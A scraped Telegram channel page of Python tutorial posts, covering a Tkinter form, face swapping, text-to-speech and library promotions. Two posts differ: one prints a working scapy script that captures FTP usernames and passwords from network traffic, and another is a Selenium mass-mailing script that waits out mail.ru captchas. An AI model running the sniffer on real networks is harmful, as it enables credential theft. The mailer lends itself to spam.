Python/ django
58.9K subscribers
2.08K photos
61 videos
47 files
2.79K links
по всем вопросам @haarrp

@itchannels_telegram - 🔥 все ит-каналы

@ai_machinelearning_big_data -ML

@ArtificialIntelligencedl -AI

@datascienceiot - 📚

@pythonlbooks

РКН: clck.ru/3FmxmM
加入频道
🖥 Create a Simple User Form with Python and Tkinter in 5 Minutes

Создание простой пользовательской формы с помощью Python и Tkinter за 5 минут - руководство для начинающих.

import openpyxl
from tkinter import *
from tkinter import messagebox


def register():
# Get the user input from the form
first_name = first_name_entry.get()
Last_name = Last_name_entry.get()
email = email_entry.get()
Mobile = Mobile_entry.get()

# Create a new row with the user input
new_row = [first_name, Last_name, email,Mobile]

# Append the new row to the Excel sheet
workbook = openpyxl.load_workbook("registration_data.xlsx")
sheet = workbook.active
sheet.append(new_row)
workbook.save("registration_data.xlsx")
messagebox.showinfo("Success", "Registration successful!")


# Create the main tkinter window
root = Tk()
root.title("Registration Form")
root.geometry('300x300')

# Create labels and entry fields for each input
first_name_label = Label(root, text="First Name:")
first_name_label.pack()
first_name_entry = Entry(root)
first_name_entry.pack()

Last_name_label = Label(root, text="Last Name:")
Last_name_label.pack()
Last_name_entry = Entry(root)
Last_name_entry.pack()

email_label = Label(root, text="Email:")
email_label.pack()
email_entry = Entry(root)
email_entry.pack()

Mobile_label = Label(root, text="Mobile:")
Mobile_label.pack()
Mobile_entry = Entry(root)
Mobile_entry.pack()

register_button = Button(root, text="Register", command=register)
register_button.pack()

root.mainloop()


@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥Email sender script (Selenium + Python)

Скрипт рассылки писем по Email (Selenium + Python).

import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import csv

# Путь к web-driver
EXE_PATH = 'chromedriver.exe'
# Логин и пароль от вашей почты
EMAIL = [email protected]
PASSWORD = password

# запускаем браузер
browser = webdriver.Chrome(executable_path=EXE_PATH)
# Переходим на страницу шаблонов mail.ru
# Сайт выдаст форму авторизации
browser.get('https://e.mail.ru/templates/')

# Выставляем тайминги задержки чтобы браузер успел прогрузить страницу
time.sleep(5)

# Теперь нам надо авторизоваться
# заполняем поле логин
emailElem = browser.find_element_by_name('username')
emailElem.send_keys(EMAIL)
emailElem.submit()
time.sleep(1)

# заполняем поле пароль
passwordElem = browser.find_element_by_name('password')
passwordElem.send_keys(PASSWORD)
passwordElem.submit()
time.sleep(5)

# Мы авторизовались, теперь тащим адреса из файла.csv
# Содержание файла
# ФИО,Email

with open('email_list.csv', encoding="utf-8") as file:
EMAIL_LIST = csv.reader(file)

# Запускаем цикл
for row in EMAIL_LIST:
# Если mail что то заподозрит, то выкинет капчу,
# мы получаем except, ждем некоторое время, и снова отправлем письмо
try:
# ФИО <Email>
email_to = row[0] + "<" + row[1] + ">"

# Нажимаем кнопку шаблоны (первый в списке шаблон настраиваем заранее)
browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click()
time.sleep(3)

# Заполняем поле кому
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to)
time.sleep(1)

# Нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)

# После отправки открывается модальное окно, закрываем его
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)

except Exception:
# Сообщаем пользователю, что скрипту необходимо переждать
print('Error! Wait 1 hour\n')
# Ждем час (можно меньше)
time.sleep(3600)

# Снова нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)

# Снова закрываем модальное окно
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)

print('SUCCESS!')
time.sleep(500)


@pythonl
carbon - 2023-08-08T115041.994.png
1.3 MB
🖐 Python Mouse Control Remotely With Your Hand.

Дистанционное управление мышью Python рукой с помощью компьютерного зрения.

Code

@pythonl
🖥Sniffing FTP password with Python

Перехват FTP-пароля с помощью Python.

from typing import Protocol
import sys
from scapy.layers import inet
from scapy.all import *
from scapy.layers import *
import psutil
import scapy.all as scapy
from scapy.layers import http
linea = '--------------------------------------------------'
class bcolors:
OK = '\033[92m' #GREEN
WARNING = '\033[93m' #YELLOW
ladrrr = '8GY.'
ss = 'OWQ1'
FAIL = '\033[91m' #RED
pinocho_chocho = 'y!c'
RESET = '\033[0m' #RESET COLOR
def ftp_creds(p_ftp):
if p_ftp[TCP].dport == 21:
data = p_ftp.sprintf("%Raw.load%")
if "USER" in data:
global ip_ftp
global ip_ftp2
ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'"
print(ip_ftp)
global user_ftp
data = data.split(" ")
data = data[1]
global user_ftp2
user_ftp = "'User: ", data, "'"
print(user_ftp)
elif "PASS" in data:
data = data.split(" ")
data = data[1]
global passwd_ftp
global passwd_ftp2
passwd_ftp = "'PASSWORD: ", data,"'"
print(passwd_ftp)
print(linea)
global ftp_ip_final
global user_ftp_final

def ftp():
print(linea)
print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}")
addrs = psutil.net_if_addrs()
cc = str(addrs.keys())
interfaces = print(cc[9:])
bb = input("Choose Interface to use: ")
xs = 0
if bb in cc:
try:
while xs>=0:
print(linea)
print(f"{bcolors.WARNING}Searching...{bcolors.RESET}")
ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds)

except KeyboardInterrupt:
print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}")
print(linea)
global ftphost
global ftpuser
global ftpass
ftp()


📌 Код
📌 Статья

@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Coldtype


Cross-platform display typography in python.

Coldtype — это удобная кроссплатформенная библиотека Python для программирования типографики и текстовой анимации.

Github
Tutorial

@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Importing Data from SQL Server to Excel with Multiple Sheets using Python

Импорт данных из SQL Server в Excel с несколькими листами с помощью Python.

🖥 Code

@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🟡 This week's digest of useful content from the world of Python

Дайджест полезных материалов из мира Python за неделю.

Почитать:

Разработка событийно-ориентированных микросервисов с помощью Python
Бережем время, деньги, нервы: наш опыт улучшения справочника факторов для ML-моделей оценки риска. Часть 2
Я люблю питон, и вот почему он меня бесит
Список популярных утечек с GitHub: Анализ репозиториев компаний
PyCon Russia 2023. Зона Python. Краткий обзор докладов
Менеджеры контекста в Python
Что происходит, когда запускаешь «Hello World» в Linux
Ускорение кода с помощью многопроцессорной обработки в Python
Руководство по созданию бота YouTube с помощью LangChain и Pinecone Vectorstore
Перехват FTP-пароля с помощью Python
Как Python использует сборку мусора для эффективного управления памятью
Converting An Image File Into PDF Using Python
Introducing Kids to Coding Through Tkinter: A Fun Path to Python's Graphical User Interfaces

Посмотреть:

🌐Как работать с декораторами в Python. Часть 1
🌐 Методы сокращения и улучшения кода на Python
🌐 Продвинутые методы улучшения кода на Python
🌐 Создаем продвинутый интерфейс на Python
🌐 Harvard CS50’s Artificial Intelligence with Python – Full University Course

Хорошего дня!

@pythonl
Media is too big
VIEW IN TELEGRAM
🎼 AudioLDM 2: A General Framework for Audio, Music, and Speech Generation

AudioLDM 2: Нейросеть, создающая музыку из текстового описания.

conda create -n audioldm python=3.8; conda activate audioldm
pip3 install git+https://github.com/haoheliu/AudioLDM2.git
git clone https://github.com/haoheliu/AudioLDM2; cd AudioLDM2

python3 app.py

Github
Demo

@pythonl
👱‍♂️ Creating Face Swaps with Python and OpenCV

Скрипт замены лиц с помощью Python и OpenCV.

Step 1: Face Detection
import cv2
def detect_face(image_path):
# Load the face detection classifier
face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')

# Read and convert the image to grayscale
image = cv2.imread(image_path)
gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

# Detect faces in the image
faces = face_cascade.detectMultiScale(gray_image, scaleFactor=1.1, minNeighbors=5)

# Assuming there's only one face in the image, return its coordinates
if len(faces) == 1:
return faces[0]
else:
return None


Step 2: Swapping Faces

def main():
# Paths to the input images
image_path_1 = 'path_to_image1.jpg'
image_path_2 = 'path_to_image2.jpg'

# Detect the face in the second image
face_coords_2 = detect_face(image_path_2)
if face_coords_2 is None:
print("No face found in the second image.")
return

# Load and resize the source face
image_1 = cv2.imread(image_path_1)
face_width, face_height = face_coords_2[2], face_coords_2[3]
image_1_resized = cv2.resize(image_1, (face_width, face_height))

# Extract the target face region from the second image
image_2 = cv2.imread(image_path_2)
roi = image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width]

# Flip the target face horizontally
reflected_roi = cv2.flip(roi, 1)

# Blend the two faces together
alpha = 0.7
blended_image = cv2.addWeighted(image_1_resized, alpha, reflected_roi, 1 - alpha, 0)

# Replace the target face region with the blended image
image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width] = blended_image

# Display the result
cv2.imshow('Blended Image', image_2)
cv2.waitKey(0)
cv2.destroyAllWindows()

if __name__ == "__main__":
main()


@pythonl
🖥 Text-to-Speech with PyTorch

Преобразование текста в речь с помощью PyTorch.

import torchaudio
import torch
import matplotlib.pyplot as plt
import IPython.display

bundle = torchaudio.pipelines.TACOTRON2_WAVERNN_PHONE_LJSPEECH

processor = bundle.get_text_processor()
tacotron2 = bundle.get_tacotron2().to(device) # Move model to the desired device
vocoder = bundle.get_vocoder().to(device) # Move model to the desired device

text = " My first text to speech!"

with torch.inference_mode():
processed, lengths = processor(text)
processed = processed.to(device) # Move processed text data to the device
lengths = lengths.to(device) # Move lengths data to the device
spec, spec_lengths, _ = tacotron2.infer(processed, lengths)
waveforms, lengths = vocoder(spec, spec_lengths)


fig, [ax1, ax2] = plt.subplots(2, 1, figsize=(16, 9))
ax1.imshow(spec[0].cpu().detach(), origin="lower", aspect="auto") # Display the generated spectrogram
ax2.plot(waveforms[0].cpu().detach()) # Display the generated waveform7. Play the generated audio using IPython.display.Audio
IPython.display.Audio(waveforms[0:1].cpu(), rate=vocoder.sample_rate)

@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Automate the Mundane: How Python Scripts Transform Tedious Tasks

Автоматическая организация файлов в папке загрузок, в зависимости от их типа.

import os
import shutil

# Paths
DOWNLOADS_PATH = os.path.expanduser('~/Downloads') # Modify this if your downloads are in a different location
ORGANIZED_PATHS = {
'Documents': ['.pdf', '.doc', '.docx', '.txt', '.md', '.xlsx', '.ppt'],
'Images': ['.jpg', '.jpeg', '.gif', '.png', '.svg'],
'Music': ['.mp3', '.wav', '.wma', '.ogg', '.flac', '.aac'],
'Videos': ['.mp4', '.mkv', '.flv', '.mov', '.avi'],
'Archives': ['.zip', '.tar', '.tar.gz', '.rar', '.7z'],
}

def organize_downloads():
for filename in os.listdir(DOWNLOADS_PATH):
file_path = os.path.join(DOWNLOADS_PATH, filename)

# Ensure we're working with files only
if not os.path.isfile(file_path):
continue

# Find the file's type based on its extension
file_type = None
for folder, extensions in ORGANIZED_PATHS.items():
for extension in extensions:
if filename.endswith(extension):
file_type = folder
break
if file_type:
break

# Move the file to its designated folder
if file_type:
dest_folder = os.path.join(DOWNLOADS_PATH, file_type)
os.makedirs(dest_folder, exist_ok=True)
shutil.move(file_path, os.path.join(dest_folder, filename))
else:
# You can add a category for uncategorized files if needed
pass

if __name__ == "__main__":
organize_downloads()


@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 ItsDangerous

To ensure the safety of passing data to untrusted environments, use ItsDangerous. ItsDangerous adds a unique signature to the data to verify that the data has not been tampered.

При передаче данных между различными веб-запросами существует риск инъекции вредоносного кода.

Для обеспечения безопасности передачи данных в по API следует использовать ItsDangerous. ItsDangerous добавляет к данным уникальную подпись, которая позволяет убедиться в том, что данные не были подделаны.

pip install -U itsdangerous


from itsdangerous import URLSafeSerializer
auth_s = URLSafeSerializer("secret key", "auth")
token = auth_s.dumps({"id": 5, "name": "itsdangerous"})

print(token)
# eyJpZCI6NSwibmFtZSI6Iml0c2Rhbmdlcm91cyJ9.6YP6T0BaO67XP--9UzTrmurXSmg

data = auth_s.loads(token)
print(data["name"])
# itsdangerous


Github

@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥Pytest-postgresql

This is a pytest plugin, that enables you to test your code that relies on a running PostgreSQL Database.

Это плагин pytest, позволяющий тестировать код, основанный на базе данных PostgreSQL. Он позволяет задавать фикстуры для PostgreSQL.

pip install pytest-postgresql

Github

@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
Легкий способ получать свежие обновлении и следить за трендами в разработке на вашем языке. Находите свой стек и подписывайтесь:


Машинное обучение: @ai_machinelearning_big_data
Go: @Golang_google
C#: @csharp_ci
Базы данных: @sqlhub
Python: @python_job_interview
C/C++/: @cpluspluc
Data Science: @data_analysis_ml
Devops: @devOPSitsec
Rust: @rust_code
Javascript: @javascriptv
React: @react_tg
PHP: @phpshka
Docker: @docker
Android: @android_its
Мобильная разработка: @mobdevelop
Linux: linuxacademy
Big Data: t.me/bigdatai
Хакинг: @linuxkalii
Java:@javatg
Собеседования: @machinelearning_interview


💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi
Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi
Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy

🔥ИТ-Мемы: t.me/memes_prog

🇬🇧Английский: @english_forprogrammers

📕Ит-книги https://yangx.top/addlist/BkskQciUW_FhNjEy
🔍Building a Python QR Scanner to Generate Characters

Создание QR-сканера на языке Python для генерации символов.

@Pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM